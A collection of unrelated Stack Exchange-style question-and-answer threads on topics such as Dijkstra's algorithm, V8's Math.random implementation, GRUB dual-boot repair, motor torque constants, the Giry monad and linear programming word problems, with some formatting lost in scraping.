First, to find the shortest path between all pairs of vertices, you can create a $ |V|^2 $ matrix where row and column i and j corresponds to the shortest distance from vertex i to vertex j.
Second, to mark the all-path shortest paths' path, you simply set the parent property of each vertex j to the current vertex i you are visiting from every time you have to relax the edge going to j from i. Keeping one set of vertices and edge will be sufficient as an APSP will also produce a tree, similar to a SSSP tree.
Comment: thank u ,, but how can i applied this using Dijkstra algorithm ? ... this algorithm take Array and the source vertex as a parameter .. so how can i store this in 2D array ?  :)
Comment: Can you be more specific regarding what is the array it takes in. Does it take in the adjacency list or an array of estimates to be updated?
Comment: it takes adjacency matrix ... so i wanna to store it in 2D array where i's takes the source vertices in each time and j's takes the value of the shortest path between i,j node ... are u understand what i mean ??
Comment: You can have 2 functions - the first is the actual Dijkstra algorithm which takes in the adjacency matrix and a source vertex i and run Dijkstra for all shortest paths from i. The second will be the driver which simply calls the first Dijkstra function on every node in the adjacency matrix.

find shortest paths from source to all vertices using Dijkstra’s Algorithm?


How does Math.random() work in javascript?

Question: I recently figured out how to get a random number via google, and it got me thinking how does Math.random() work. So here I am I can not figure out how they did Math.random() unless they used a time like thing does anyone know how JavaScript's Math.random() works or an equivalent?
Comment: The way it works is not dictated by the specification. It's probably some sort of [linear congruential generator](http://en.wikipedia.org/wiki/Linear_congruential_generator) in most runtimes.
Comment: See http://stackoverflow.com/questions/10361466/what-algorithm-does-math-random-use
Comment: or see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random
Note: the ECMA description states that the number can be generated randomly or pseudo randomly, and that can be different for different platforms.
Comment: possible duplicate of [Understanding "randomness"](http://stackoverflow.com/questions/3956478/understanding-randomness)
Comment: [You're getting a random number via Google?](http://webapps.stackexchange.com/questions/16203/how-to-get-a-random-number-from-google-omnisearch-textbox) Then you should post an answer there…
Comment: @Bergi  I mean, I googled how to make a random number between x and y not using google for the calculator.
Comment: I found the HowStuffWorks [article](http://computer.howstuffworks.com/question697.htm) useful.
Answer: Math.random() returns a Number value with a positive sign, greater than or equal to 0 but less than 1, chosen randomly or pseudo randomly with approximately uniform distribution over that range, using an implementation-dependent algorithm or strategy.
Here's V8's implementation:
uint32_t V8::Random() {

    // Random number generator using George Marsaglia's MWC algorithm.
    static uint32_t hi = 0;
    static uint32_t lo = 0;

    // Initialize seed using the system random(). If one of the seeds
    // should ever become zero again, or if random() returns zero, we
    // avoid getting stuck with zero bits in hi or lo by reinitializing
    // them on demand.
    if (hi == 0) hi = random();
    if (lo == 0) lo = random();

    // Mix the bits.
    hi = 36969 * (hi & 0xFFFF) + (hi >> 16);
    lo = 18273 * (lo & 0xFFFF) + (lo >> 16);
    return (hi << 16) + (lo & 0xFFFF);
}

Source: http://dl.packetstormsecurity.net/papers/general/Google_Chrome_3.0_Beta_Math.random_vulnerability.pdf
Here are a couple of related threads on StackOverflow:

Why is Google Chrome's Math.random number generator not *that* random?
How random is JavaScript's Math.random?
Comment: This is the old implementation, see https://stackoverflow.com/a/52191522/58961 for the most recent version.
Answer: See: There's Math.random(), and then there's Math.random()
Until recently (up to version 4.9.40), V8's choice of PRNG was MWC1616 (multiply with carry, combining two 16-bit parts). It uses 64 bits of internal state and looks roughly like this:
uint32_t state0 = 1;
uint32_t state1 = 2;
uint32_t mwc1616() {
  state0 = 18030 * (state0 & 0xffff) + (state0 >> 16);
  state1 = 30903 * (state1 & 0xffff) + (state1 >> 16);
  return state0 << 16 + (state1 & 0xffff);

The 32-bit value is then turned into a floating point number between 0 and 1 in agreement with the specification.
MWC1616 uses little memory and is pretty fast to compute, but unfortunately offers sub-par quality:

The number of random values it can generate is limited to 232 as
opposed to the 252 numbers between 0 and 1 that double precision
floating point can represent.
The more significant upper half of the
result is almost entirely dependent on the value of state0. The
period length would be at most 232, but instead of few large
permutation cycles, there are many short ones. With a badly chosen
initial state, the cycle length could be less than 40 million.
It fails many statistical tests in the TestU01 suite.

This has been pointed out to us, and having understood the problem and after some research, we decided to reimplement Math.random based on an algorithm called xorshift128+. It uses 128 bits of internal state, has a period length of 2^128 - 1, and passes all tests from the TestU01 suite.
uint64_t state0 = 1;
uint64_t state1 = 2;
uint64_t xorshift128plus() {
  uint64_t s1 = state0;
  uint64_t s0 = state1;
  state0 = s0;
  s1 ^= s1 << 23;
  s1 ^= s1 >> 17;
  s1 ^= s0;
  s1 ^= s0 >> 26;
  state1 = s1;
  return state0 + state1;
}

The new implementation landed in V8 220.127.116.11 within a few days of us becoming aware of the issue. It will become available with Chrome 49. Both Firefox and Safari switched to xorshift128+ as well.
Answer: It's correct that they use a "time like thing". A pseudo random generator is typically seeded using the system clock, because that is a good source of a number that isn't always the same.
Once the random generator is seeded with a number, it will generate a series of numbers that all depending on the initial value, but in such a way that they seem random.
A simple random generator (that was actually used in programming languages a while back) is to use a prime number in an algorithm like this:
rnd = (rnd * 7919 + 1) & 0xffff;

This will produce a series of numbers that jump back and forth, seemingly random. For example:
seed = 1337
36408
22089
7208
63833
14360
11881
41480
13689
6648

The random generator in Javascript is just a bit more complex (to give even better distribution) and uses larger numbers (as it has to produce a number that is about 60 bits instead of 16), but it follows the same basic principle.
Comment: can you provide a source?
Comment: I have no idea what the purpose of a seed is, and wouldn't that make subsequent values dependent on initial value / previous values?
Answer: you may want this article for a reference: https://hackernoon.com/how-does-javascripts-math-random-generate-random-numbers-ef0de6a20131
And btw, recently I am also curious about this question and then read the source code of NodeJS. We can know one possible implementation from Google V8:
The main entry for the random (MathRandom::RefillCache function):
https://github.com/v8/v8/blob/master/src/math-random.cc
How the seed initialized? see also here: https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.cc#L31
The key function is (XorShift128  function):
https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L119
in this header file, there are references to some papers:
// See Marsaglia: http://www.jstatsoft.org/v08/i14/paper
// And Vigna: http://vigna.di.unimi.it/ftp/papers/xorshiftplus.pdf

Answer:


Can not dual boot 15.10 after installation from USB on Laptop Acer Aspire v13-371

Question: I have Acer Aspire V13-371 and preinstalled Win10. It has BIOS v1.28. I set Hyperpass and disabled secure boot. I start it with Live USB key via Temp boot order and it works fine; it works even if I just change boot order in BIOS/uEFI with Live USB stick. So Live CD comes up and I choose erase entire disk and install Ubuntu, then choose other USB stick to have it installed on it (to have completly separated installation of Ubuntu on USB stick)...installation is completed with a success and after I reboot my laptop and have new, fresh USB Ubuntu stick inserted, I just see Win boot loader...I also tried to with this procedure, same result:
uEFI only bootable USB
If I do same procedure on my desktop, it just works smoothly...
Any ideas?
If I start Ubuntu with Live USB and then write in grub exit, I'm returned back to Loader when I can see new USB stick along with LIVE USB and Win boot loader...
Answer: First boot into your Windows installation and disable hibernation and Fast Boot.
Disable hibernation by opening command prompt as administrator and execute:
    powercfg /h off

To disable Fast Boot open Control Panel (the old version - not the modern design),
select the Energy Settings, enable show hidden settings and uncheck Fast Boot.
Shut down the machine completely - do NOT reboot !
Reinstall the GRUB boot loader to your Ubuntu installation  in EFI mode.
Boot from the Ubuntu installation media - open a terminal and execute:
    sudo mount /dev/sd*** /mnt
    sudo mount /dev/sd** /mnt/boot/efi
    for i in /dev /dev/pts /proc /sys /run; do sudo mount -B $i /mnt$i; done
    sudo chroot /mnt
    grub-install /dev/sd*
    update-grub

Note:
sd* = disk | sd** = efi partition | sd*** = system partition
To identify the partition numbers use GParted - it is included in the Ubuntu install media.
Boot into BIOS and select Ubuntu in UEFI settings as the default operating system to boot.
You now can select which operating system you want to boot from the GRUB boot menu.
Answer: I made it...looks like it was the problem in BIOS/uEFI parameters..
I was following this link as I thought that it is more of an BIOS/uEFI problem:
Acer Aspire E15 will not dual boot
Thanks for the assist...
BTW, I have Qualcomm Atheros QCA61x4 wireless network adapter in this laptop and followed this procedure:
Qualcomm Atheros QCA61x4 wireless network adapter
but it doesn't solve my issue... will there be any updates in a while for it or is it just too "exotic" that driver would be in the whole package?


Postgresql 9.1 on ubuntu 9.10

Question: I have a quick question. Did you install postgresql 9.1 on the ubuntu server 9.10 ?
If yes, it was a pure installation or update from 8.4 ? If update how did it go ?
Where did you get deb package ?
Oh, really, I need deb package because install from sources on a lot of server isn't good idea.
Comment: Martin Pitt's PPA doesn't contain a release for Karmic (9.10) as it's just too old. See : https://launchpad.net/~pitti/+archive/postgresql . You might be able to get the source packages for Lucid and rebuild them for Karmic though. All in all, the idea of "I don't want to build from source, but I'm happy to run some random backport binaries for an ancient Ubuntu release" smacks somewhat of http://wiki.postgresql.org/wiki/FAQ#A_bug_I.27m_encountering_is_fixed_in_a_newer_minor_release_of_PostgreSQL.2C_but_I_don.27t_want_to_upgrade._Can_I_get_a_patch_for_just_this_issue.3F
Comment: BTW, Karmic isn't an LTS release and it's well past end-of-life (April 2011). It's unlikely you'll see many people interested in maintaining packages for it when there was an LTS release immediately following it.
Answer: Your choices in this situation are limited:

Find someone who has already compiled a .deb package for your version of Ubuntu
(As far as I'm aware that's not possible for something as old as Karmic (9.10))
Build/Install from source on each server
Build from source and assemble a .deb package to install on your servers.
(Probably the most viable option if you have lots of systems & can't upgrade the OS.)

In any case you will need to observe the Postgres upgrade procedure - you can't just dump the new DB binaries on your server and expect it to work with the old PGDATA format.

As Craig pointed out Karmic Koala (Ubuntu 9.10) is well past end of life -- you should really be considering an upgrade path to a supported OS (I'm not even sure Postgres will build, or that your system libraries don't have bugs that will cause Postgres to behave badly if it does compile) - If you ask a question about upgrade paths (describing your environment with enough detail) we can probably help you get onto more stable ground.

Postgresql 9.1 on ubuntu 9.10


How to cut a live-edge log lengthwise at an angle?

Question: I want to make this, but am not sure how to start. If start with a live-edge log, how would I make the length-wise cuts? I have access to a table saw, band saw, jointer, and planer.
Answer: If I had to make this I'd start by getting the short, flat edge (top of the piece in the picture) cut or jointed flat. Then I'd scribe my angle lines on the end as a reference and joint one face.
If the workpiece were short enough, I would use my table saw with the short, flat edge on the table to get my angled cuts. This would be the easy, fast route. If it's close, I might even start my cuts this way, then head over to the bandsaw and tilt the table to match the cut and finish the cuts this way before cleaning up the surface with a hand plane.
If I'm working with a larger piece, I would probably start by jointing one face down to the reference line. You can get a bias to one side going on the jointer pretty easily by putting the pressure on that side.
Once I had a single face, I'd use a planer with a sled (use shims/wedges to set the angle and hot glue to attach the work piece) to bring the opposite face down to the reference line.
Answer: Start by attaching (screwing or nailing) the log to a board (or a piece of plywood), so that one edge of the board is overhanging the log and the other edge is short of where you want your cut.  You may have to use wedges to make it stable.  It may also help to attach another board of the same thickness to the other side of the log.
Put the overhanging edge of the board against your band saw's fence, then position the fence so that the blade lines up with your desired cut location.  Proceed to make the cut by guiding the board against the fence.  It will help if you're using a resaw blade.
If you're going to do this a lot you should consider making a sled that runs in the bandsaw's miter slot for this purpose.
Alternately, mill one surface flat on the jointer, rest that surface on the bandsaw's table and cut a straight line by eye (snapping a chalk line would help).
For cuts at an angle tilt the saw's table or position the log on the sled at an angle.


"I like to be loved" vs. "I like being loved"

Question:

I like to be loved.

I like being loved.

What is the difference between them?
Answer: I don't think there's much of a difference at all, since both forms are capable of expressing both an achieved state and an ongoing sense. One could say they differ only in which of those two senses is primary.
"I like to be painted green" said the house.
The house likes to have green paint on it.  The house likes it when the painters are painting it green.
"I like being painted green" said the house.
The house likes it when the painters are painting it green.  The house likes to have green paint on it.
Answer: The shade of difference between them is akin to the difference between

I am loved.

and

I am being loved.

The former expresses a general condition, the latter - current state (just as it is always the case of Present Indefinite versus Present Continuous).
It is usually acceptable to replace the to-infinitive with a gerund:

I love to ski.  =  I love skiing.  (no difference in meaning)

however, in your case the presence of the passive voice (to be + past participle) makes a tiny difference, barely perceptible.  Some, possibly many, would say that the difference is non-existent.
Answer: Verbs of preference and non-preference can be followed by gerund or to-infinitive with almost no difference.
These verbs are
to like - I like cooking/I like to cook
to love - I love dancing/to dance
to enjoy
to prefer
to hate - I hate living in a big city/to live in a big city
Remark
After would/should like/love/enjoy/prefer/hate only to-infinitive:
I would like to live in a big city.
Remark 2
The gerund often refers to a general statement ( I like dancing), the to-infinitive can refer to single action (I like to dance when I have guests), but often gerund and to-infinitive are interchangeable.
http://www.englishpage.com/gerunds/gerund_or_infinitive_same_list.htm
Comment: "I would like living in a big city" is a valid construction.
Comment: Also, "I hate to live..." sounds wrong to me.


How exactly are Amazon S3 byte-hours determined?

Question: I know from "How will I be charged and billed for my use of Amazon S3?"  in https://aws.amazon.com/s3/faqs/ that AWS charges me for S3 storage according to the byte-hours that I've accumulated when I store something.  How exactly is this calculated.  Do they take a snapshot every hour or day or every five minutes or what?  Or, do they check every time I do a PUT (or POST) or a DELETE to a bucket?
Comment: Why do you ask? Is there something you are trying to accomplish?
Comment: I want to understand how I am charged if, for example, I have a 10GB bucket, for example, that's created, used, and deleted within 10 minutes.
Comment: Does this answer your question? [How are S3 (Amazon Simple Storage System) storage prices calculated?](https://stackoverflow.com/questions/4746250/how-are-s3-amazon-simple-storage-system-storage-prices-calculated)
Answer: This is AWS internal information - You'll need to ask a TAM or open a ticket to AWS, but not sure they will submit that information.
In general - the resolution is hourly, you can see that the usage type is "TimedStorage-ByteHrs" and the DBR/CUR has a line for each hour with the amount of storage (for Standard and Infrequent Access and now also One-Zone Infrequent Access) per bucket (resourceid). objects that existed in a bucket for 10 minutes will be billed for an hour of storage, i.e if the price is $0.021 (public pricing after passing the 500TB tier) then 1GB stored for 10 minutes will be charged $0.021/.
What's the scenario? Why store something for 10 minutes on S3?
My educated guess is that they use the metadata of PUT requests along with creation times and mapping your storage by the hour. that way if a resource is still available each hour it'll remain in the billing, and it sits well with the actual billing of minimum a hour.


how to store voice and recognize from database?

Question: i want to create web app with node js and react js.
there will be 2 page in in that web app one will be which record the voice and store in database and in second page any user can come and say anything after that web app will match that voice and with database and it will return with user name.
i already done record part saved in folder but don't know which database i should use to store data which can match data during second page when user need there name when they speak anything..
thanks in advance i new in node and react please help with this :D
Comment: For saving in the database: http://stackoverflow.com/questions/154707/what-is-the-best-way-to-store-media-files-on-a-database
Answer: you can use https://firebase.google.com/ google's firebase as your real-time database or for storing audio files

but for matching two voice it won't work for that you have to use some library like https://www.npmjs.com/package/wav-file-info

which will compare the voice input with audio which is in database
Answer: The problem you are trying to solve is part of automatic speech recognition (ASR). It is obvious you cannot compare two audio files in this problem domain. Rather, you need to compute some sort of feature/fingerprint of a voice and match those features. One of the common feature extraction algorithm is Mel-Frequency Cepstral Coefficients (MFCC)(click here). For python, I know a library named python_speech_features. This library can extract MFCC features. For the purpose of matching features you can use a Machine Learning algorithm.


Can I use stall torque to calculate torque constant?

Question: I'm using torque control for my project, and dc motor manufacturer doesn't give me the number of their motor's torque constant and motor resistance. I can use multimeter to measure the motor's resistance, but I'm not sure about torque constant. I wonder if I can use equation Kt = torq/current with torque is max stall torque, and current is the current at max stall torque.
Answer: No, because the stall current is much higher than nominal. The torque constant notably drops on high currents.
Comment: The reason why the torque constant drops is that the core becomes [magnetically saturated](https://en.wikipedia.org/wiki/Saturation_(magnetic))
Comment: No. You do need a scale and a current source.
Comment: Is there any way that I can calculate torque constant with my multimeter?
Answer: Does the manufacture give you the back emf constant? The torque constant and the back emf constant share the same units of Weber/radian. Thus if you have the back EMF constant, you can perform a unit conversion to get the torque constant.

"The SI units for the torque constant are newton metres per ampere (N·m/A). Since 1 N·m = 1 J, and 1 A = 1 C/s, then 1 N·m/A = 1 J·s/C = 1 V·s (same units as back EMF constant)." (https://en.wikipedia.org/wiki/Motor_constants)
Comment: And back EMF constant is easier to measure, if you have a tachometer or other way to measure the motor speed. Then just apply constant voltage and measure speed.
Comment: I think this is the best answer.
Comment: Thank you for your answers. They don't give me back emf either, and I have been looking for a way to measure my motor's back emf
Comment: @Uchiwuwu, no-load speed and voltage will get you pretty close to the back EMF constant. No-load speed / Rated voltage = Kv (approximately).
Answer: In general, maximum ratings are different from functional ratings and mixing them in calculation leads to errors. E.g. if you have a transistor with a beta of 100 and 1A maximum collector current, you certainly can't expect to find the corresponding base current as 1A/100, because beta changes with current. And maximum base current will be different yet, probably tested at 0 collector current.
In case of motors, "torque constant" also changes with current. It can only be considered constant in a certain working range, and a stalled motor driven with maximum current is probably outside that range.
In addition maximum stall torque could be derived from mechanical constraints (what bearings/gearbox can withstand), while maximum stall current could be derived from magnet properties (larger currents could kill the permanent magnets), so finding a ratio between the two is simply meaningless.
Torque constant is often not specified because you get the back-EMF constant (in RPM/V or rad/V·s), and you can calculate the torque constant from it as

If the internal motor friction is low, Kv can be easily found by measuring the RPM on a free-running motor driven by a known voltage.
Answer: What you can do is spin the motor at a known RPM somehow. Perhaps using a cordless drill to drive the motor mechanically. While it is spinning, measure the motor open circuit voltage using your volt meter. Measure RPM using a low-cost tachometer (you can buy one from amazon or ali-express or what have you).
You can calculate Kv (the voltage constant for the motor). It is just the RPM divided by the voltage you just measured.
Now go look at Real Magnetics's answer and read the wikipedia page. You can convert Kv into rad / sec /volt. Then invert it to get volt-seconds / radian. At this point, it is actually identical to Kt, the torque constant.


symantec endpoint protection geo blocking

Question: How can I create a firewall rule that will only allow RDP connections from my country (on specified port) ? All the rest will be blocked.
I am using Symantec Endpoint Protection 14.0  RU1 build 3929.1200.
Answer: SEPM dont have country blocking. You have to do it manually by IP range.. or use a firewall appliance that will do it.
Please see there to upvote that suggested idea on Symantec (https://www-secure.symantec.com/connect/security/ideas) - Advanced Firewall Settings


Are there any twin-engine turboprop airplanes with FADEC and 6 seats?

Question: Are there any twin-engine airplanes with FADEC with 6 seats? Is there nothing equivalent to DA62 in the turboprop world with slightly bigger interior and club seats?
Answer: There are currently no General Aviation twin turboprop aircraft with FADEC. Turboprops have always had separate power levers and propeller condition levers.
I believe the first GA turboprops with FADEC are the single engine Pilatus PC-12 NGX  and TBM 960.


The meaning of T0CLK=1

Question: i know that there are two types for clock in a Timer in a micocontroller
one of them is the counter and i wonder how the counter can be a clock ?
Comment: Do you know how many different microcontrollers out there?
Comment: sorry for not being specific ... i'm using PIC microcontroller more specifically 18F4520
Comment: If the counter counts clock pulses, and the pulses are of a known duration, your counter is behaving as a timer.
Answer: It is very usual for a microcontroller timer to have two possible clock sources:

First is the internal clock (probably with some kind of frequency dividers)
Second is a pulsed signal from an external source, connected through an input digital port.

Independently of the source, the timer counts the incoming pulses into an internal register called the counter. When the counter overflows, then the timer raises the interrupt flag. If interrupts are active, then the microcontroller stops the main thread and executes the interrupt routine, to perform whatever action is needed.
If the source is the internal clock, then the pulses are regular, the counter will overflow at equal intervals: it actually behaves as a timer.
If the source is external, then pulses may not be regular. This is often by design; for example pulses could be generated by cars passing in front of a sensor. In this case, as the previous, the timer counts the pulses and eventually overflows. But the overflow is not regular any more.
To reflect this difference, timer is called a counter when source is external.

The meaning of T0CLK=1


What are the most important aspects to look into when building an experimental sounding rocket?

Question: I have broken down the process plan to various subsystems( including a Recovery system)but would want to know from the community what are the most important aspects of the rocket that one must focus on...
Answer: This is getting close-votes for being opinion-based, but I guess most people here will agree about two primary things; both "number one" because neglecting either is the end of the project. Law, and safety.

Law. Countries have different regulations regarding rocketry, starting from complete ban, through necessity to be a member of a registered organization, get permit for any launches and tests, and so on. There is very little technical difference between a sounding rocket and a missile, so building one without proper permits can very easily get qualified as terrorist activity.

.

Safety. I'd recommend the lecture of Ignition on how that kind of work goes. Accidents happen, and will happen. If by the end of your project you still have your eyebrows and all the fingers, count yourself lucky. Regardless, safety should be a priority, because with meticulous safety accidents will be rare and not likely to be serious. With anything less... say good-bye to your fingers.
Answer: SAFETY
Rockets are dangerous.  Rockets that are big and go high are very dangerous.  You can easily kill yourself or others.
Comment: Counterpoint: the safest rocket is one that doesn't fly, and it's surprisingly easy to impose so many safety features on a vehicle as to render it incapable of actually accomplishing its intended mission.
Comment: @Tristan True.  I wonder if that actually happens for amateur rocket projects, though.
Comment: As long as the amateur rocketeers have some degree of sanity, restricting their original work to the overall vehicle and sticking with COTS propulsion (which can get you a very long way these days), it becomes merely a matter of practicing proper range safety.  Protip: don't try to make your own motors/engines unless you already do this professionally and know very well what you are doing.


How to find fishing bait?

Question: I made a fishing rod but fishing requires bait. Worms are sometimes but rarely found when looting kitchens. Digging in the ground does not seem to produce any. What is a good way to keep a reliable supply of fishing bait?
Answer: The fastest way to get bait is to dig with a trowel or by removing grass to obtain worms. This is faster than scavenging around in the town. Worms are always used up upon being used as bait, unlike other baits however.
Fishing tackle has durability, meaning you can use it more than once, cutting down on weight on bait as well. However, it is recommended that you wait until your fishing skill is mid to high level before using it.
https://pzwiki.net/wiki/Fishing#Bait
Comment: In addition to the above I have found that foraging can also give things like crickets which work fine as bait.

How to find fishing bait?


What are the adjunctions that generate the Giry Monad?

Question: The Giry Monad captures probability measures.  What is the adjunction that generates the Giry Monad?  To narrow this down, perhaps we can talk about the adjunction between the category of Polish spaces and the Kleisli category for the Giry monad.  Is there anything that can be said about all the adjunctions that generate the Monad?
Comment: It would be better to make  your question more specific,  which adjunction are you  interested in?
It is known that there are many options, at least the two comes on a mind: algebras over  monad (Eilenberg-Moore ) or free algebras over monad (Kleisli).
Comment: I think adding an 's' to 'adjunction' in the title would make more sense. There are two extremal choices provided by general theory. These may be interesting (if they admit an interesting interpretation) or not, maybe some intermediate options are even more interesting... Personally, I'd be interested in seeing the options!
Comment: It would be really interesting to get some general intuition about the algebras over this monad (it seems, when reading the nLab article, that this intuition is not yet very clear ?)
Answer: It could be argued that this isn't quite the right question, or at least, not the most interesting one.
Any adjunction gives rise to a monad, as you know.  But more generally, any functor (subject to some mild conditions) gives rise to a monad, its codensity monad.  If the functor you start with has a left adjoint, then the monad you end up with is the one generated by the adjunction.  But the codensity monad is defined in many situations where the functor has no left adjoint, and that gets particularly interesting.  See here for a gentle explanation.
For instance, let $\mathbf{3}$ be the subcategory of $\mathbf{Set}$ consisting of a three-element set only and all endomorphisms of it.  Then the codensity monad of the inclusion $\mathbf{3} \hookrightarrow \mathbf{Set}$ is the ultrafilter monad.
So, you could ask more generally: which functors have the Giry monad as their codensity monad?  Tom Avery gave an answer.  In fact, Avery described several functors whose codensity monad is the Giry monad.  Here we're dealing with the Giry monad on the category $\mathbf{Meas}$ of measurable spaces.
For instance, let $d_0$ be the set of all sequences in $[0, 1]$ converging to $0$, with its evident measurable structure, and let $D$ be the subcategory of $\mathbf{Meas}$ consisting of $d_0$ only and all affine endomorphisms of it.  Then the codensity monad of the inclusion $D \hookrightarrow \mathbf{Meas}$ is the Giry monad.  This is Avery's Proposition 5.10(ii).
(Kirk Sturtz also attempted to describe the Giry monad as a codensity monad, but the attempt was wrong, as detailed in the appendix of Avery's paper.  I don't know whether Sturtz succeeded in fixing it — the link just given is to v2 of an arXiv paper that later went up to v4, as well as undergoing a change of title.)
Answer: Theorem 7.2 of Kirk Sturtz, The factorization of the Giry monad and convex spaces as an extension of the Kleisi category, provides one answer for measurable spaces.
Answer: Recall, for any monad, the Kleisi category of the monad is initial while the Eilenberg-Moore (EM) category of the monad is final among all ways of factoring that monad as an adjoint pair.  (To see how this works, see, for example, Toposes, Triples, and Theories by Barr & Wells (BW), p89-90. ) Loosely speaking, we say the Kleisi category is the smallest factorization and the Eilenberg-Moore category (of the monad) is the largest factorization possible.  Generally, we are interested in knowing the largest factorization (we can always recover the smallest factorization by taking the ``free objects'' in the Eilenberg-Moore category, i.e., the Kleisi category is embedded in the EM category as the image... which is Prop. 2.2 BW.).
The Eilenberg-Moore category of the Giry monad is equivalent to the category of convex spaces.  The proof of the equivalence of the Eilenberg-Moore category of the Giry monad and the category of convex spaces is given in my article referenced by David above. (The refereed journal version should be available later this year.)
Note that for applications, the abstract presentation of the EM category is often not so useful - and the problem is to characterize the EM category as equivalent to a better known category. By ``not so useful'' I simply mean we cannot use our intuition (or existing knowledge) to quickly understand the properties of the category.)
The category of (abstract) convex spaces is the affine part of the category of $K$-modules. (See Meng's thesis for Lawvere's development of this viewpoint of convex spaces.)  Alternatively, see S. Gudder's paper Convex Structures and Operational Quantum Mechanics for the (now standard) axiomatic definition.
The Giry algebras are simply convex spaces, and the theory of probability can be extended to the category of convex spaces.  By this I mean that every convex space has a canonical $\sigma$-algebra associated with it. For example, the canonical $\sigma$-algebra of the real line is the Borel $\sigma$-algebra (as one would expect).  Now the whole point (at least from my perspective) of using the largest factorization of the Giry monad is that all the concepts of (Bayesian) probability theory can now be placed within the framework of the category of convex spaces, $\mathbf{Cvx}$, wherein the inference maps can be explicitly calculated. (One cannot do this using the Kleisi category of the Giry monad - there it is necessary to place additional restrictions on the spaces involved to be able to construct the inference maps.)   In fact, if you analyze the category of convex spaces you are ``doing (Bayesian) probability theory''.   I speculate that by generalizing this factorization from the category of measurable spaces, $\mathbf{Meas}$, to say the category of Orthomodular Lattices, one should encounter various aspects of Quantum probability, i.e., the Giry monad is a commutative monad with respect to the (standard) product monoidal structure.  However , that product monoidal structure does not yield a symmetric monoidal closed category, and it is necessary to invoke the tensor product monoidal structure to obtain a SMCC.  Under this monoidal structure, coupled with non Boolean nature of orthomodular lattices, one may encounter noncommutative Probability theory. (See Anders Kock's definition of commutative monads in Monads on Symmetric Monoidal Closed Categories.)  Indeed, it is the tensor product monoidal structure of the two categories, $\mathbf{Meas}$ and $\mathbf{Cvx}$, both generated by an identical process using the constant graph functions, which makes the factorization of the Giry monad rather elementary once that connection is recognized.
Comment: How does this equivalence work? The obvious one does not seem to do, for the following reason: Every $\mathcal{G}$ algebra admits $\sigma$-convex combinations, but not every convex space does. For example, the usual structure of a convex space on $\mathbb{R}$ cannot be extended to $\sigma$-convex combinations, by a variation of the argument $0 = (1 - 1) + (1 - 1) + ... = 1 - (1 - 1) - (1 - 1) + ... = 1$ using $\sigma$-convex combinations to express the sums. So we cannot obtain the usual convex structure on $\mathbb{R}$ as the underlying convex space of a $\mathcal{G}$-algebra.
Comment: That's correct - the obvious choice of an equivalence does not work.  Here's the way I think of the equivalence:
Answer: Answer to Roberts question:   That's correct - the obvious choice of an equivalence does not work.  Take the adjunction between $\mathbf{Meas}$ and $\mathbf{Cvx}$ which yields the Giry monad.  Using the notation in my paper, $\mathcal{P} \dashv \mathbf{\Sigma}$, $\mathcal{G} = \Sigma \mathcal{P}$.  To obtain the convex space corresponding to any Giry algebra $\mathcal{G}(X) \rightarrow X$.   You take the coequalizer of the pair  shown in the diagram on page 34 - so (the object) $Coeq$, which is a convex space, corresponds to that Giry algebra $h: \mathcal{G}(X) \rightarrow X$.   (True for any measurable space $X$, including the real line $\mathbb{R}$.) Conversely, given a convex space $C$ the Giry algebra is obtained by taking  the counit of the adjunction, $\epsilon_{C}: \mathcal{P}\Sigma(C) \rightarrow C$.  This is explained on the bottom of page 35. Now, to make it a measurable map (and a Giry algebra) just apply the functor $\Sigma$ to that counit, which endows those two convex spaces (domain & codomain) with a $\sigma$-algebra structure.


How do I convert the following Linear Programming Problem into a word problem?

Question: Maximize $$z=2x_1+10x_2+15x_3$$
Subject to :
$$\begin{align}
3x_1+x_2+5x_3&\le55\\
2x_1+x_2+x_3&\le26\\
x_1+x_2+3x_3&\le30\\
5x_1+2x_2+4x_3&\le57
\end{align}$$
With non-negetivity constraints :
$$x_1,x_2,x_3\ge0$$
Comment: Are you just looking for any possible scenario to fit this LP?
Comment: It would be preferable if it were related to economics and the constraints were resource constraints. But any other scenario would be great too. I'm really in a fix.
Comment: I've given a classic, "farmer-type" scenario, let me know if it is acceptable. This type of interpretation could be ported to any number of industries.
Answer: A farmer has $55$ kg of fertilizer, $26$ kg of pesticide, $30$ kg mulch, and $57$ days worth of labor. The farmer intends on growing wheat, corn, and barley. For every square kilometer of wheat, the farmer must use $3$ kg of fertilizer, $2$ kg of pesticide, a kg of mulch, and $5$ days of labor. For corn, it requires $1$,$1$,$1$,$2$...etc., At the end of the season, every square kilometer of wheat can be sold for \$$2$ thousand, corn for \$$10$ thousand, and barley for \$$15$ thousand. How many square kilometers of each type of plant should the farmer grow to maximize his revenue?
An added benefit of this particular interpretation is it is reasonable to assume that the decision variables can be (approximately) continuous.
Comment: Thanks again for your offer. I always have questions. You'll soon tire of them. I'll only be asking the one's which really perplex me.
Comment: Thanks a lot for your help.
Comment: @AnurabhChakravarty not a problem! When in doubt, for math programming problems, I immediately go to farmers, scheduling/staffing, or chemical mixing. They tend to yield very 'textbook' and overly simple problems, but for the sake of tests/quizzes they often suffice.
Comment: Do you teach mathematics?
Comment: @AnurabhChakravarty I'm in my last year of an operations research PhD program so I get stuck teaching courses from time to time.
Comment: I'm an undergrad student.
Comment: @AnurabhChakravarty best of luck in your studies! If you ever have a question on OR related material, please feel free to contact me here at math.SE and I will help if I'm able.
Comment: Hi David.  Could you tell me how many intersections will the system of inequalities have? How do we find that?
Comment: @anurabhchakravarty In general, you are describing a standard problem called the Vertex enumeration problem (for polytopes). There are several algorithms for this. I am a bit busy today so I'm unsure if I'll be able to provide more details, but searching that problem should send you in the right direction.


Gaming on Ubuntu - How far can you take it?

Question: I'm looking in to gaming on Ubuntu (using PlayOnLinux - i.e. wine). What is the most modern game you have run at an acceptable framerate and what hardware were you running? Did you have to tweak your wine or gfx card settings? If so, how?
Comment: I think this should be flagged "community wiki", as you're asking for a broad report of experiences and opinions: there is likely no single answer that can be considered as "the valid one".
Comment: Personally, I've run Team Fortress 2 on an Phenom II X4 810 with 6 gig of ram and a 9600GT gfx card. It ran well, but every few minutes if would lock up for 2-3 seconds.
Comment: Oli was able to give a complete and concise answer instead of turning this into a giant unnecessary list question.
Comment: [blush] at the "giant unnescessary" (hope you meant the lists) and +1 on the surprise at a concise, useful answer. I couldn't find a 'community wiki' tag, so I tagged it 'community' instead. Please let me know if this was wrong.
Answer: Before everybody lists out every single game they've played on Ubuntu through Wine, check appdb for specific games you want to run on Wine. Some work at near-native speeds, some don't work at all.
